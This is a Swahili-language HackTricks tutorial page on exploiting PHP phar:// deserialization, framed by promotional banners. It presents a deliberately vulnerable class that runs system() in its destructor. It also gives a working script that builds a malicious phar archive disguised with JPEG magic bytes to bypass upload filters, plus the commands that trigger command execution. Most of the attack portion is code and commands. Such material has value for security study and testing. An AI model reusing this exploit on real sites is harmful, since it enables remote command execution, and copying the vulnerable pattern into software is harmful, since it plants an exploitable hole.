5.1 KiB
Deserialization ya phar://
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Mwongozo wa tuzo ya mdudu: jiandikishe kwa Intigriti, jukwaa la tuzo za mdudu la malipo lililoundwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata tuzo hadi $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Faili za Phar (PHP Archive) zina data ya meta katika muundo uliosimbwa, hivyo, wakati inapopitiwa, data hii ya meta ina kusalimishwa na unaweza kujaribu kutumia udhaifu wa kusalimisha ndani ya msimbo wa PHP.
Jambo bora kuhusu sifa hii ni kwamba kusalimisha huku kutatokea hata ukitumia kazi za PHP ambazo haziekezi msimbo wa PHP kama file_get_contents(), fopen(), file() au file_exists(), md5_file(), filemtime() au filesize().
Kwa hivyo, wazia hali ambapo unaweza kufanya wavuti ya PHP ipate saizi ya faili yoyote kwa kutumia itifaki ya phar://
, na ndani ya msimbo unapata darasa kama ifuatavyo:
{% code title="vunl.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
{% endcode %}
Unaweza kuunda faili ya phar ambayo ikilipwa itatumia darasa hili kutekeleza amri za kupindukia kama ifuatavyo:
{% code title="create_phar.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
{% endcode %}
Tazama jinsi magic bytes za JPG (\xff\xd8\xff
) zinavyoongezwa mwanzoni mwa faili ya phar ili kipuuzwe vikwazo vya uwekaji faili inayowezekana.
Kusanya faili ya test.phar
na:
php --define phar.readonly=0 create_phar.php
Na tekeleza amri ya whoami
kwa kutumia msimbo wenye kasoro kwa:
php vuln.php
Marejeo
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
Mwongozo wa tuzo ya mdudu: Jisajili kwa Intigriti, jukwaa la tuzo za mdudu la malipo lililoundwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata tuzo hadi $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.